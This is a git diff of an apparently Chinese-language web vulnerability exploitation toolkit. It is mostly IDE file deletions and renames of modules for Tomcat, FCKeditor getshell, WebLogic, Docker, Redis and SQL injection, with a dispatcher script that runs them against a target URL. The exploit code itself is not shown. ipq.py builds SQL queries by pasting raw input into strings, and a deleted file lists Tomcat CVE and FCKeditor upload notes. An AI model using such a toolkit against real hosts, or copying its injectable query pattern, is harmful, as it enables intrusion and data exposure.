diff --git a/.idea/misc.xml b/.idea/misc.xml
deleted file mode 100644
index 434a8a6..0000000
--- a/.idea/misc.xml
+++ /dev/null
@@ -1,7 +0,0 @@
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/.idea/modules.xml b/.idea/modules.xml
deleted file mode 100644
index 561e819..0000000
--- a/.idea/modules.xml
+++ /dev/null
@@ -1,8 +0,0 @@
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/.idea/vcs.xml b/.idea/vcs.xml
deleted file mode 100644
index 94a25f7..0000000
--- a/.idea/vcs.xml
+++ /dev/null
@@ -1,6 +0,0 @@
-
-
-
-
-
-
\ No newline at end of file
diff --git a/.idea/vulnerability-list.iml b/.idea/vulnerability-list.iml
deleted file mode 100644
index 20b45a5..0000000
--- a/.idea/vulnerability-list.iml
+++ /dev/null
@@ -1,17 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/.idea/workspace.xml b/.idea/workspace.xml
deleted file mode 100644
index 849c5d2..0000000
--- a/.idea/workspace.xml
+++ /dev/null
@@ -1,637 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- /fckeditor
-
-
-
-
-
-
-
-
-
-
-
-
- true
- DEFINITION_ORDER
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1540815246115
-
-
- 1540815246115
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/moon/docker_vuln/Main_docker.py b/docker_vuln/Main_docker.py
similarity index 100%
rename from moon/docker_vuln/Main_docker.py
rename to docker_vuln/Main_docker.py
diff --git a/moon/docker_vuln/__init__.py b/docker_vuln/__init__.py
similarity index 100%
rename from moon/docker_vuln/__init__.py
rename to docker_vuln/__init__.py
diff --git a/moon/docker_vuln/__pycache__/Main_docker.cpython-36.pyc b/docker_vuln/__pycache__/Main_docker.cpython-36.pyc
similarity index 100%
rename from moon/docker_vuln/__pycache__/Main_docker.cpython-36.pyc
rename to docker_vuln/__pycache__/Main_docker.cpython-36.pyc
diff --git a/docker_vuln/__pycache__/Main_docker.cpython-37.pyc b/docker_vuln/__pycache__/Main_docker.cpython-37.pyc
new file mode 100644
index 0000000..f16a04f
Binary files /dev/null and b/docker_vuln/__pycache__/Main_docker.cpython-37.pyc differ
diff --git a/moon/docker_vuln/__pycache__/__init__.cpython-36.pyc b/docker_vuln/__pycache__/__init__.cpython-36.pyc
similarity index 100%
rename from moon/docker_vuln/__pycache__/__init__.cpython-36.pyc
rename to docker_vuln/__pycache__/__init__.cpython-36.pyc
diff --git a/docker_vuln/__pycache__/__init__.cpython-37.pyc b/docker_vuln/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..69e6829
Binary files /dev/null and b/docker_vuln/__pycache__/__init__.cpython-37.pyc differ
diff --git a/moon/docker_vuln/__pycache__/docker_daemon_api.cpython-36.pyc b/docker_vuln/__pycache__/docker_daemon_api.cpython-36.pyc
similarity index 100%
rename from moon/docker_vuln/__pycache__/docker_daemon_api.cpython-36.pyc
rename to docker_vuln/__pycache__/docker_daemon_api.cpython-36.pyc
diff --git a/docker_vuln/__pycache__/docker_daemon_api.cpython-37.pyc b/docker_vuln/__pycache__/docker_daemon_api.cpython-37.pyc
new file mode 100644
index 0000000..a131bd3
Binary files /dev/null and b/docker_vuln/__pycache__/docker_daemon_api.cpython-37.pyc differ
diff --git a/moon/docker_vuln/docker_daemon_api.py b/docker_vuln/docker_daemon_api.py
similarity index 100%
rename from moon/docker_vuln/docker_daemon_api.py
rename to docker_vuln/docker_daemon_api.py
diff --git a/moon/fckeditor/Main_fckeditor.py b/fckeditor/Main_fckeditor.py
similarity index 100%
rename from moon/fckeditor/Main_fckeditor.py
rename to fckeditor/Main_fckeditor.py
diff --git a/moon/fckeditor/__init__.py b/fckeditor/__init__.py
similarity index 100%
rename from moon/fckeditor/__init__.py
rename to fckeditor/__init__.py
diff --git a/moon/fckeditor/__pycache__/Main_fckeditor.cpython-36.pyc b/fckeditor/__pycache__/Main_fckeditor.cpython-36.pyc
similarity index 100%
rename from moon/fckeditor/__pycache__/Main_fckeditor.cpython-36.pyc
rename to fckeditor/__pycache__/Main_fckeditor.cpython-36.pyc
diff --git a/fckeditor/__pycache__/Main_fckeditor.cpython-37.pyc b/fckeditor/__pycache__/Main_fckeditor.cpython-37.pyc
new file mode 100644
index 0000000..99ebb5d
Binary files /dev/null and b/fckeditor/__pycache__/Main_fckeditor.cpython-37.pyc differ
diff --git a/moon/fckeditor/__pycache__/__init__.cpython-36.pyc b/fckeditor/__pycache__/__init__.cpython-36.pyc
similarity index 100%
rename from moon/fckeditor/__pycache__/__init__.cpython-36.pyc
rename to fckeditor/__pycache__/__init__.cpython-36.pyc
diff --git a/fckeditor/__pycache__/__init__.cpython-37.pyc b/fckeditor/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..dd2e4f7
Binary files /dev/null and b/fckeditor/__pycache__/__init__.cpython-37.pyc differ
diff --git a/moon/fckeditor/__pycache__/fckeditor_dangerfile.cpython-36.pyc b/fckeditor/__pycache__/fckeditor_dangerfile.cpython-36.pyc
similarity index 100%
rename from moon/fckeditor/__pycache__/fckeditor_dangerfile.cpython-36.pyc
rename to fckeditor/__pycache__/fckeditor_dangerfile.cpython-36.pyc
diff --git a/fckeditor/__pycache__/fckeditor_dangerfile.cpython-37.pyc b/fckeditor/__pycache__/fckeditor_dangerfile.cpython-37.pyc
new file mode 100644
index 0000000..f9cc12c
Binary files /dev/null and b/fckeditor/__pycache__/fckeditor_dangerfile.cpython-37.pyc differ
diff --git a/moon/fckeditor/__pycache__/fckeditor_getshell.cpython-36.pyc b/fckeditor/__pycache__/fckeditor_getshell.cpython-36.pyc
similarity index 100%
rename from moon/fckeditor/__pycache__/fckeditor_getshell.cpython-36.pyc
rename to fckeditor/__pycache__/fckeditor_getshell.cpython-36.pyc
diff --git a/fckeditor/__pycache__/fckeditor_getshell.cpython-37.pyc b/fckeditor/__pycache__/fckeditor_getshell.cpython-37.pyc
new file mode 100644
index 0000000..f836580
Binary files /dev/null and b/fckeditor/__pycache__/fckeditor_getshell.cpython-37.pyc differ
diff --git a/moon/fckeditor/__pycache__/fckeditor_version.cpython-36.pyc b/fckeditor/__pycache__/fckeditor_version.cpython-36.pyc
similarity index 100%
rename from moon/fckeditor/__pycache__/fckeditor_version.cpython-36.pyc
rename to fckeditor/__pycache__/fckeditor_version.cpython-36.pyc
diff --git a/fckeditor/__pycache__/fckeditor_version.cpython-37.pyc b/fckeditor/__pycache__/fckeditor_version.cpython-37.pyc
new file mode 100644
index 0000000..5593b49
Binary files /dev/null and b/fckeditor/__pycache__/fckeditor_version.cpython-37.pyc differ
diff --git a/moon/fckeditor/fckeditor_dangerfile.py b/fckeditor/fckeditor_dangerfile.py
similarity index 100%
rename from moon/fckeditor/fckeditor_dangerfile.py
rename to fckeditor/fckeditor_dangerfile.py
diff --git a/moon/fckeditor/fckeditor_getshell.py b/fckeditor/fckeditor_getshell.py
similarity index 100%
rename from moon/fckeditor/fckeditor_getshell.py
rename to fckeditor/fckeditor_getshell.py
diff --git a/moon/fckeditor/fckeditor_version.py b/fckeditor/fckeditor_version.py
similarity index 100%
rename from moon/fckeditor/fckeditor_version.py
rename to fckeditor/fckeditor_version.py
diff --git a/moon/fckeditor/shell.asa b/fckeditor/shell.asa
similarity index 100%
rename from moon/fckeditor/shell.asa
rename to fckeditor/shell.asa
diff --git a/moon/gatepass_vuln/Gate_Pass_Management_System_login_SQL_Injection.py b/gatepass_vuln/Gate_Pass_Management_System_login_SQL_Injection.py
similarity index 100%
rename from moon/gatepass_vuln/Gate_Pass_Management_System_login_SQL_Injection.py
rename to gatepass_vuln/Gate_Pass_Management_System_login_SQL_Injection.py
diff --git a/moon/gatepass_vuln/Main_gatepass.py b/gatepass_vuln/Main_gatepass.py
similarity index 100%
rename from moon/gatepass_vuln/Main_gatepass.py
rename to gatepass_vuln/Main_gatepass.py
diff --git a/moon/gatepass_vuln/__init__.py b/gatepass_vuln/__init__.py
similarity index 100%
rename from moon/gatepass_vuln/__init__.py
rename to gatepass_vuln/__init__.py
diff --git a/moon/gatepass_vuln/__pycache__/Gate_Pass_Management_System_login_SQL_Injection.cpython-36.pyc b/gatepass_vuln/__pycache__/Gate_Pass_Management_System_login_SQL_Injection.cpython-36.pyc
similarity index 100%
rename from moon/gatepass_vuln/__pycache__/Gate_Pass_Management_System_login_SQL_Injection.cpython-36.pyc
rename to gatepass_vuln/__pycache__/Gate_Pass_Management_System_login_SQL_Injection.cpython-36.pyc
diff --git a/gatepass_vuln/__pycache__/Gate_Pass_Management_System_login_SQL_Injection.cpython-37.pyc b/gatepass_vuln/__pycache__/Gate_Pass_Management_System_login_SQL_Injection.cpython-37.pyc
new file mode 100644
index 0000000..f0d6d1a
Binary files /dev/null and b/gatepass_vuln/__pycache__/Gate_Pass_Management_System_login_SQL_Injection.cpython-37.pyc differ
diff --git a/moon/gatepass_vuln/__pycache__/Main_gatepass.cpython-36.pyc b/gatepass_vuln/__pycache__/Main_gatepass.cpython-36.pyc
similarity index 100%
rename from moon/gatepass_vuln/__pycache__/Main_gatepass.cpython-36.pyc
rename to gatepass_vuln/__pycache__/Main_gatepass.cpython-36.pyc
diff --git a/gatepass_vuln/__pycache__/Main_gatepass.cpython-37.pyc b/gatepass_vuln/__pycache__/Main_gatepass.cpython-37.pyc
new file mode 100644
index 0000000..07a9d81
Binary files /dev/null and b/gatepass_vuln/__pycache__/Main_gatepass.cpython-37.pyc differ
diff --git a/moon/gatepass_vuln/__pycache__/__init__.cpython-36.pyc b/gatepass_vuln/__pycache__/__init__.cpython-36.pyc
similarity index 100%
rename from moon/gatepass_vuln/__pycache__/__init__.cpython-36.pyc
rename to gatepass_vuln/__pycache__/__init__.cpython-36.pyc
diff --git a/gatepass_vuln/__pycache__/__init__.cpython-37.pyc b/gatepass_vuln/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..8341f61
Binary files /dev/null and b/gatepass_vuln/__pycache__/__init__.cpython-37.pyc differ
diff --git a/moon/iis/Main_iis.py b/iis/Main_iis.py
similarity index 100%
rename from moon/iis/Main_iis.py
rename to iis/Main_iis.py
diff --git a/moon/iis/__init__.py b/iis/__init__.py
similarity index 100%
rename from moon/iis/__init__.py
rename to iis/__init__.py
diff --git a/moon/iis/__pycache__/Main_iis.cpython-36.pyc b/iis/__pycache__/Main_iis.cpython-36.pyc
similarity index 100%
rename from moon/iis/__pycache__/Main_iis.cpython-36.pyc
rename to iis/__pycache__/Main_iis.cpython-36.pyc
diff --git a/iis/__pycache__/Main_iis.cpython-37.pyc b/iis/__pycache__/Main_iis.cpython-37.pyc
new file mode 100644
index 0000000..1e7a547
Binary files /dev/null and b/iis/__pycache__/Main_iis.cpython-37.pyc differ
diff --git a/moon/iis/__pycache__/__init__.cpython-36.pyc b/iis/__pycache__/__init__.cpython-36.pyc
similarity index 100%
rename from moon/iis/__pycache__/__init__.cpython-36.pyc
rename to iis/__pycache__/__init__.cpython-36.pyc
diff --git a/iis/__pycache__/__init__.cpython-37.pyc b/iis/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..75b2a82
Binary files /dev/null and b/iis/__pycache__/__init__.cpython-37.pyc differ
diff --git a/moon/iis/iis_shortname_Scan.py b/iis/iis_shortname_Scan.py
similarity index 100%
rename from moon/iis/iis_shortname_Scan.py
rename to iis/iis_shortname_Scan.py
diff --git a/moon/ipq/Main_ipq.py b/ipq/Main_ipq.py
similarity index 100%
rename from moon/ipq/Main_ipq.py
rename to ipq/Main_ipq.py
diff --git a/moon/ipq/__init__.py b/ipq/__init__.py
similarity index 100%
rename from moon/ipq/__init__.py
rename to ipq/__init__.py
diff --git a/moon/ipq/__pycache__/Main_ipq.cpython-36.pyc b/ipq/__pycache__/Main_ipq.cpython-36.pyc
similarity index 100%
rename from moon/ipq/__pycache__/Main_ipq.cpython-36.pyc
rename to ipq/__pycache__/Main_ipq.cpython-36.pyc
diff --git a/ipq/__pycache__/Main_ipq.cpython-37.pyc b/ipq/__pycache__/Main_ipq.cpython-37.pyc
new file mode 100644
index 0000000..dc83b95
Binary files /dev/null and b/ipq/__pycache__/Main_ipq.cpython-37.pyc differ
diff --git a/moon/ipq/__pycache__/__init__.cpython-36.pyc b/ipq/__pycache__/__init__.cpython-36.pyc
similarity index 100%
rename from moon/ipq/__pycache__/__init__.cpython-36.pyc
rename to ipq/__pycache__/__init__.cpython-36.pyc
diff --git a/ipq/__pycache__/__init__.cpython-37.pyc b/ipq/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..479e4b7
Binary files /dev/null and b/ipq/__pycache__/__init__.cpython-37.pyc differ
diff --git a/moon/ipq/__pycache__/ipq.cpython-36.pyc b/ipq/__pycache__/ipq.cpython-36.pyc
similarity index 100%
rename from moon/ipq/__pycache__/ipq.cpython-36.pyc
rename to ipq/__pycache__/ipq.cpython-36.pyc
diff --git a/ipq/__pycache__/ipq.cpython-37.pyc b/ipq/__pycache__/ipq.cpython-37.pyc
new file mode 100644
index 0000000..1367882
Binary files /dev/null and b/ipq/__pycache__/ipq.cpython-37.pyc differ
diff --git a/moon/ipq/ipq.py b/ipq/ipq.py
similarity index 69%
rename from moon/ipq/ipq.py
rename to ipq/ipq.py
index 9395df6..017f374 100644
--- a/moon/ipq/ipq.py
+++ b/ipq/ipq.py
@@ -2,12 +2,12 @@
import sqlite3
def attack(URL):
URL = '\''+URL+'\''
- conn = sqlite3.connect('E:/python/归属查询/hulianwang.db')
+ conn = sqlite3.connect('C:/个人文件/工作/数据库备份-数据资料备份/190114-hulianwang.db')
cursor = conn.cursor()
- s = cursor.execute(f"select * from '资产表-181120' where IP地址 = {URL} or 所属业务系统 = {URL} or 负责部门 = {URL} or 负责人 = {URL} or 科室 = {URL};")
+ s = cursor.execute(f"select * from '资产表-181221' where IP地址 = {URL} or 所属业务系统 = {URL} or 负责部门 = {URL} or 负责人 = {URL} or 科室 = {URL};")
if s.fetchall():
print('[+]发现资产。')
- s = cursor.execute(f"select * from '资产表-181120' where IP地址 = {URL} or 所属业务系统 = {URL} or 负责部门 = {URL} or 负责人 = {URL} or 科室 = {URL};")
+ s = cursor.execute(f"select * from '资产表-181221' where IP地址 = {URL} or 所属业务系统 = {URL} or 负责部门 = {URL} or 负责人 = {URL} or 科室 = {URL};")
for ss in s:
print(ss)
else:
diff --git a/moon/ipquery/Main_ipquery.py b/ipquery/Main_ipquery.py
similarity index 100%
rename from moon/ipquery/Main_ipquery.py
rename to ipquery/Main_ipquery.py
diff --git a/moon/ipquery/__init__.py b/ipquery/__init__.py
similarity index 100%
rename from moon/ipquery/__init__.py
rename to ipquery/__init__.py
diff --git a/moon/ipquery/__pycache__/Main_ipquery.cpython-36.pyc b/ipquery/__pycache__/Main_ipquery.cpython-36.pyc
similarity index 100%
rename from moon/ipquery/__pycache__/Main_ipquery.cpython-36.pyc
rename to ipquery/__pycache__/Main_ipquery.cpython-36.pyc
diff --git a/ipquery/__pycache__/Main_ipquery.cpython-37.pyc b/ipquery/__pycache__/Main_ipquery.cpython-37.pyc
new file mode 100644
index 0000000..c9980e9
Binary files /dev/null and b/ipquery/__pycache__/Main_ipquery.cpython-37.pyc differ
diff --git a/moon/ipquery/__pycache__/__init__.cpython-36.pyc b/ipquery/__pycache__/__init__.cpython-36.pyc
similarity index 100%
rename from moon/ipquery/__pycache__/__init__.cpython-36.pyc
rename to ipquery/__pycache__/__init__.cpython-36.pyc
diff --git a/ipquery/__pycache__/__init__.cpython-37.pyc b/ipquery/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..7a1b813
Binary files /dev/null and b/ipquery/__pycache__/__init__.cpython-37.pyc differ
diff --git a/moon/ipquery/__pycache__/ipquery.cpython-36.pyc b/ipquery/__pycache__/ipquery.cpython-36.pyc
similarity index 100%
rename from moon/ipquery/__pycache__/ipquery.cpython-36.pyc
rename to ipquery/__pycache__/ipquery.cpython-36.pyc
diff --git a/ipquery/__pycache__/ipquery.cpython-37.pyc b/ipquery/__pycache__/ipquery.cpython-37.pyc
new file mode 100644
index 0000000..a0c8a42
Binary files /dev/null and b/ipquery/__pycache__/ipquery.cpython-37.pyc differ
diff --git a/moon/ipquery/ipquery.py b/ipquery/ipquery.py
similarity index 100%
rename from moon/ipquery/ipquery.py
rename to ipquery/ipquery.py
diff --git a/moon/moon.py b/moon.py
similarity index 71%
rename from moon/moon.py
rename to moon.py
index 0ab9c57..f8c4e23 100644
--- a/moon/moon.py
+++ b/moon.py
@@ -1,70 +1,83 @@
-# -*- coding: utf-8 -*-
-import sys
-import vulnlist
-import tomcat.Main_tomcat
-import fckeditor.Main_fckeditor
-import ipquery.Main_ipquery
-import weblogic.Main_weblogic
-import iis.Main_iis
-import docker_vuln.Main_docker
-import redis_vuln.Main_redis
-import zabbix_vuln.Main_zabbix
-import navigate_vuln.Main_navigate
-import gatepass_vuln.Main_gatepass
-import ipq.Main_ipq
-import spring_vuln.Main_spring
-
-if __name__ == "__main__":
-
- #使用说明
- if len(sys.argv) < 3 or sys.argv[1]=="-h":
- print('''
- userage: python -u module http://xx.xx.xx.xx:xx
- modul: tomcat fck ip weblogic iis docker redis zabbix navigate gatepass ipq
- ''')
-
- #漏洞利用
- elif sys.argv[1] == '-u':
- # 处理url末尾可能存在的/
- if sys.argv[3][-1] != '/':
- pass
- else:
- sys.argv[3] = sys.argv[3][0:-1]
- print('[+]检测地址:'+sys.argv[3])
-
- if sys.argv[2] == 'tomcat':
- tomcat.Main_tomcat.exec(sys.argv[3])
- elif sys.argv[2] == 'fck':
- fckeditor.Main_fckeditor.exec(sys.argv[3])
- elif sys.argv[2] == 'ip':
- ipquery.Main_ipquery.exec(sys.argv[3])
- elif sys.argv[2] == 'weblogic':
- weblogic.Main_weblogic.exec(sys.argv[3])
- elif sys.argv[2] == 'iis':
- iis.Main_iis.exec(sys.argv[3])
- elif sys.argv[2] == 'docker':
- docker_vuln.Main_docker.exec(sys.argv[3])
- elif sys.argv[2] == 'redis':
- redis_vuln.Main_redis.exec(sys.argv[3])
- elif sys.argv[2] == 'zabbix':
- zabbix_vuln.Main_zabbix.exec(sys.argv[3])
- elif sys.argv[2] == 'navigate':
- navigate_vuln.Main_navigate.exec(sys.argv[3])
- elif sys.argv[2] == 'gatepass':
- gatepass_vuln.Main_gatepass.exec(sys.argv[3])
- elif sys.argv[2] == 'spring':
- spring_vuln.Main_spring.exec(sys.argv[3])
- elif sys.argv[2] == 'ipq':
- ipq.Main_ipq.exec(sys.argv[3])
- # elif sys.argv[2] == 'all':
- # tomcat.Main_tomcat.exec(sys.argv[3])
- # fckeditor.Main_fckeditor.exec(sys.argv[3])
- else:
- print('''
- userage: python -u module http://xx.xx.xx.xx:xx
- modul: tomcat fck ip weblogic iis docker redis zabbix navigate gatepass
- ''')
- else:
- print('''
- userage: python -u module http://xx.xx.xx.xx:xx
- modul: tomcat fck ip weblogic iis docker redis zabbix navigate gatepass''')
+# -*- coding: utf-8 -*-
+import sys
+import tomcat.Main_tomcat
+import fckeditor.Main_fckeditor
+import ipquery.Main_ipquery
+import weblogic.Main_weblogic
+import iis.Main_iis
+import docker_vuln.Main_docker
+import redis_vuln.Main_redis
+import zabbix_vuln.Main_zabbix
+import navigate_vuln.Main_navigate
+import gatepass_vuln.Main_gatepass
+import ipq.Main_ipq
+import spring_vuln.Main_spring
+import nmap_br.Main_nmap
+
+if __name__ == "__main__":
+
+ #使用说明
+ if len(sys.argv) < 3 or sys.argv[1]=="-h":
+ print('''
+漏洞检测:
+userage: python -u module http://xx.xx.xx.xx:xx
+modul: tomcat fck weblogic iis docker redis zabbix navigate gatepass
+IP归属查询:
+userage: python -u ip www.xxxxx.com/xx.xx.xx.xx
+modul:ip ipq
+ ''')
+
+ #漏洞利用
+ elif sys.argv[1] == '-u':
+ # 处理url末尾可能存在的/
+ if sys.argv[3][-1] != '/':
+ pass
+ else:
+ sys.argv[3] = sys.argv[3][0:-1]
+ print('[+]检测地址:'+sys.argv[3])
+
+ if sys.argv[2] == 'tomcat':
+ tomcat.Main_tomcat.exec(sys.argv[3])
+ elif sys.argv[2] == 'fck':
+ fckeditor.Main_fckeditor.exec(sys.argv[3])
+ elif sys.argv[2] == 'ip':
+ ipquery.Main_ipquery.exec(sys.argv[3])
+ elif sys.argv[2] == 'weblogic':
+ weblogic.Main_weblogic.exec(sys.argv[3])
+ elif sys.argv[2] == 'iis':
+ iis.Main_iis.exec(sys.argv[3])
+ elif sys.argv[2] == 'docker':
+ docker_vuln.Main_docker.exec(sys.argv[3])
+ elif sys.argv[2] == 'redis':
+ redis_vuln.Main_redis.exec(sys.argv[3])
+ elif sys.argv[2] == 'zabbix':
+ zabbix_vuln.Main_zabbix.exec(sys.argv[3])
+ elif sys.argv[2] == 'navigate':
+ navigate_vuln.Main_navigate.exec(sys.argv[3])
+ elif sys.argv[2] == 'gatepass':
+ gatepass_vuln.Main_gatepass.exec(sys.argv[3])
+ elif sys.argv[2] == 'spring':
+ spring_vuln.Main_spring.exec(sys.argv[3])
+ elif sys.argv[2] == 'ipq':
+ ipq.Main_ipq.exec(sys.argv[3])
+ elif sys.argv[2] == 'nmap':
+ nmap_br.Main_nmap.exec(sys.argv[3],sys.argv[4])
+
+ else:
+ print('''
+漏洞检测:
+userage: python -u module http://xx.xx.xx.xx:xx
+modul: tomcat fck weblogic iis docker redis zabbix navigate gatepass
+IP归属查询:
+userage: python -u ip www.xxxxx.com/xx.xx.xx.xx
+modul:ip ipq
+ ''')
+ else:
+ print('''
+漏洞检测:
+userage: python -u module http://xx.xx.xx.xx:xx
+modul: tomcat fck weblogic iis docker redis zabbix navigate gatepass
+IP归属查询:
+userage: python -u ip www.xxxxx.com/xx.xx.xx.xx
+modul:ip ipq
+ ''')
diff --git a/moon/.idea/misc.xml b/moon/.idea/misc.xml
deleted file mode 100644
index 3999087..0000000
--- a/moon/.idea/misc.xml
+++ /dev/null
@@ -1,7 +0,0 @@
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/moon/.idea/modules.xml b/moon/.idea/modules.xml
deleted file mode 100644
index d017fda..0000000
--- a/moon/.idea/modules.xml
+++ /dev/null
@@ -1,8 +0,0 @@
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/moon/.idea/moon.iml b/moon/.idea/moon.iml
deleted file mode 100644
index 6711606..0000000
--- a/moon/.idea/moon.iml
+++ /dev/null
@@ -1,11 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/moon/.idea/vcs.xml b/moon/.idea/vcs.xml
deleted file mode 100644
index 6c0b863..0000000
--- a/moon/.idea/vcs.xml
+++ /dev/null
@@ -1,6 +0,0 @@
-
-
-
-
-
-
\ No newline at end of file
diff --git a/moon/.idea/workspace.xml b/moon/.idea/workspace.xml
deleted file mode 100644
index f4e49ca..0000000
--- a/moon/.idea/workspace.xml
+++ /dev/null
@@ -1,617 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- geturl
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- true
- DEFINITION_ORDER
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1541072041944
-
-
- 1541072041944
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/moon/__pycache__/vulnlist.cpython-36.pyc b/moon/__pycache__/vulnlist.cpython-36.pyc
deleted file mode 100644
index 7d94a47..0000000
Binary files a/moon/__pycache__/vulnlist.cpython-36.pyc and /dev/null differ
diff --git a/moon/vulnlist.py b/moon/vulnlist.py
deleted file mode 100644
index 5fd0f42..0000000
--- a/moon/vulnlist.py
+++ /dev/null
@@ -1,48 +0,0 @@
-# -*- coding: utf-8 -*-
-
-def tomcat_vulnlist():
-
- print('''
- Tomcat_vuln_list:
-
- [+]CVE-2017-12615[+]
- 应用:上传文件
- 影响范围:Linux/Windows Tomcat: 7.0.0 to 7.0.79 - 官网数据
- 成因:Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件
- 修复:将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true
-
- [+]CVE-2017-12617[+]
- 影响范围:Apache Tomcat 7.0.0 – 7.0.81
- 与CVE-2017-12615类似
-
- [+]example_vulnerability[+]
- 影响范围:Tomcat: 全版本
- session操纵漏洞:Apache Tomcat默认安装包含”/examples”目录,里面存着众多的样例,
- 其中session样例(/examples/servlets/servlet/SessionExample)允许用户对session进行操纵。
- 因为session是全局通用的,所以用户可以通过操纵session获取管理员权限。
- (不一定都是全局的,如果path只在examples下,那就无法利用)。
- 利用此漏洞需要知道相关后台登录后的session键值对,然后写入到session中,利用条件苛刻。
- https://cloud.tencent.com/info/2e03f26090fe592b6c7aa933dd6c0f94.html
- 解决办法:安装完tomcat后,删除$CATALINA_HOME/webapps下默认的所有目录文件* rm -rf /srv/apache-tomcat/webapps/*
- ''')
-
-
-def apache_vulnlist():
- print('''
- 暂不支持。
- ''')
-
-
-def fck_vulnlist():
- print('''
- fck基本知识:配置文件路径,使用的语言改一下。
- FCKeditor/editor/filemanagerbrowser/default/connectors/asp/config.asp
- 要开启上传,要把 ConfigIsEnable = True
- 然后设置上传目录 ConfigUserFilesPath = "/UserFiles/" ,这个路径在网站根目录下或者编辑器目录下
